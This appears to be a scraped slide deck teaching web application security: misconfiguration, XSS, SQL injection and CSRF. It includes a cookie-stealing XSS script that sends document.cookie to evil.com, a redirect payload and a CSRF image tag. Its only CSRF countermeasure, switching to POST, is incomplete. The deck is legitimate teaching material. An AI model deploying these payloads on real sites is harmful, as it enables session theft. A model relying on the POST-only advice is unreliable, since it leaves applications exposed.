Strategize a Smooth Tenant-to-tenant Migration and Copilot TakeoffStrategize a Smooth Tenant-to-tenant Migration and Copilot Takeoff
Strategize a Smooth Tenant-to-tenant Migration and Copilot Takeoff
 
The 7 Things I Know About Cyber Security After 25 Years | April 2024
The 7 Things I Know About Cyber Security After 25 Years | April 2024The 7 Things I Know About Cyber Security After 25 Years | April 2024
The 7 Things I Know About Cyber Security After 25 Years | April 2024
 

Web application security

  • 1. Web Application Security Vulnerabilities, attacks, and countermeasures Prepared by: Jean Michael Castor
  • 2. Web Applications • A web-based application is any application that uses a web browser as a client. The term may also mean a computer software application that is coded in a browser- supported programming language (such as JavaScript, combined with a browser-rendered markup language like HTML) and reliant on a common web browser to render the application executable.
  • 3. Web Application vs Website • A web application is an application that’s accessed through a web browser. • A website is a series of pages or documents that may embed media (images, video, etc) that’s accessed through a web browser over the internet.
  • 4. Outline • Introduction • Demo application • Vulnerabilities • Defenses • Tools • Conclusions • Resources
  • 5. Introduction • World Wide Web has become a powerful platform for application delivery • Sensitive data increasingly made available through web applications • Corresponding rise in number of vulnerabilities discovered and security incidents reported
  • 10. Vulnerabilities Web Applications are vulnerable of the following: – Misconfiguration – Client-side controls – Authentication errors – Cross-site scripting – SQL injection – Cross-site request forgery
  • 11. Misconfiguration • Outdated versions of the server • Outdated versions of third-party web applications • Guessable passwords – Application – FTP/SSH • Retrievable source code • Trojaned home machine
  • 12. Client-side controls • Do not rely on client-side controls that are not enforced on the server-side – Cookie Cookie: role=guest/admin – Hidden form parameters <input type=“hidden” name=“role” value=“guest/admin”> – JavaScript checks function validateRole() { … }
  • 13. Direct object reference • A direct object reference occurs when a developer exposes a reference to an internal implementation object, such as a file, directory, database record, or key, as a URL or form parameter. An attacker can manipulate direct object references to access other objects without authorization, unless an access control check is in place.
  • 14. Direct object reference ID FNAME LNAME 1 Boy George 2 Mio Koh 3 Jubagro Bagro 4 Dodoy Doy Now, let’s say that this database table were queried in a normal application. Then, the results are presented on the page, and each record in the result list would probably have a link to more detail about each user. Now, here’s what the url might look like to go view greater detail about Mio: /users/viewDetail?id=2
  • 15. Authentication errors • Weak passwords – Enforce strong, easy-to-remember passwords • Brute forceable – Enforce upper limit on the number of errors in a given time • Verbose failure messages (“wrong password”) – Do not leak information to attacker
  • 16. Cross-site scripting (XSS) 1. Attacker injects malicious code into vulnerable web server
  • 17. Cross-site scripting (XSS) 1. Attacker injects malicious code into vulnerable web server 2. Victim visits vulnerable web server GET /posts Cookie: s=01a4b8
  • 18. Cross-site scripting (XSS) 1. Attacker injects malicious code into vulnerable web server 2. Victim visits vulnerable web server 3. Malicious code is served to victim by web server HTTP/1.1 200 OK … <script>…</script>
  • 19. Cross-site scripting (XSS) 1. Attacker injects malicious code into vulnerable web server 2. Victim visits vulnerable web server 3. Malicious code is served to victim by web server 4. Malicious code executes on the victims with web server’s privileges GET /log?s=01a4b8
  • 20. 3 types of XSS • Reflected: vulnerable application simply “reflects” attacker’s code to its visitors • Persistent: vulnerable application stores (e.g., in the database) the attacker’s code and presents it to its visitors • DOM-based: vulnerable application includes pages that use untrusted parts of their DOM model (e.g., document.location, document.URL) in an insecure way
  • 21. XSS Attacks • STEALING COOKIE • DEFACEMENT • PHISHING • PRIVACY VIOLATION • RUN EXPLOITS • JAVASCRIPT MALWARE
  • 22. XSS attacks: STEALING COOKIE • Attacker injects script that reads the site’s cookie • Scripts sends the cookie to attacker • Attacker can now log into the site as the victim <script> var img = new Image(); img.src = “http://evil.com/log_cookie.php?” + document.cookie </script>
  • 23. XSS attacks: DEFACEMENT • Attacker injects script that automatically redirects victims to attacker’s site <script> document.location = “http://evil.com”; </script>
  • 24. XSS attacks: PHISHING • Attacker injects script that reproduces look- and-feel of “interesting” site (e.g., paypal, login page of the site itself) • Fake page asks for user’s credentials or other sensitive information • The data is sent to the attacker’s site
  • 25. XSS attacks: PRIVACY VIOLATION • The attacker injects a script that determines the sites the victims has visited in the past • This information can be leveraged to perform targeted phishing attacks
  • 26. XSS attacks: RUN EXPLOITS • The attacker injects a script that launches a number of exploits against the user’s browser or its plugins • If the exploits are successful, malware is installed on the victim’s machine without any user intervention • Often, the victim’s machine becomes part of a botnet
  • 27. XSS attacks: JAVASCRIPT MALWARE • JavaScript opens up internal network to external attacks – Scan internal network – Fingerprint devices on the internal network – Abuse default credentials of DSL/wireless routers
  • 28. SQL injection HTTP Request POST /login?u=foo&p=bar SQL Query SELECT user, pwd FROM users WHERE u = ‘foo’ • Attacker submits HTTP request with a malicious parameter value that modifies an existing SQL query, or adds new queries
  • 29. SQLI attacks • Detecting: – Attacker inject special-meaning characters that are likely to cause an error, e.g., user=“ • Consequences: – Violate data integrity – Violate data confidentiality
  • 30. Cross-site request forgery (CSRF) 1. Victim is logged into vulnerable web site GET /posts Cookie: s=01a4b8
  • 31. Cross-site request forgery (CSRF) 1. Victim is logged into vulnerable web site 2. Victim visits malicious page on attacker web site GET /index.html
  • 32. Cross-site request forgery (CSRF) 1. Victim is logged into vulnerable web site 2. Victim visits malicious page on attacker web site 3. Malicious content is delivered to victim HTTP 1.1 200 OK … <img src=http://vuln/ delete>
  • 33. Cross-site request forgery (CSRF) 1. Victim is logged into vulnerable web site 2. Victim visits malicious page on attacker web site 3. Malicious content is delivered to victim 4. Victim involuntarily sends a request to the vulnerable web site GET /delete Cookie: s=01a4b8
  • 34. CSRF countermeasures • Use POST instead of GET requests
  • 35. POST AND GET COMPARISON TABLE • In HTML, one can specify two different submission methods for a form. The method is specified inside a FORM element, using the METHOD attribute. The difference between METHOD="GET" (the default) and METHOD="POST" is primarily defined in terms of form data encoding. According to the technical HTML specifications GET means that form data is to be encoded (by a browser) into a URL while POST means that the form data is to appear within the message body of the HTTP request. GET POST BACK button/Reload Harmless Data will be re-submitted (the browser should alert the user that the data are about to be re-submitted) Bookmarked Can be bookmarked Cannot be bookmarked Cached Can be cached Not cached History Parameters remain in browser history Parameters are not saved in browser history Restrictions on data type Only ASCII characters allowed No restrictions. Binary data is also allowed Security GET is less secure compared to POST because data sent is part of the URL Never use GET when sending passwords or other sensitive information! POST is a little safer than GET because the parameters are not stored in browser history or in web server logs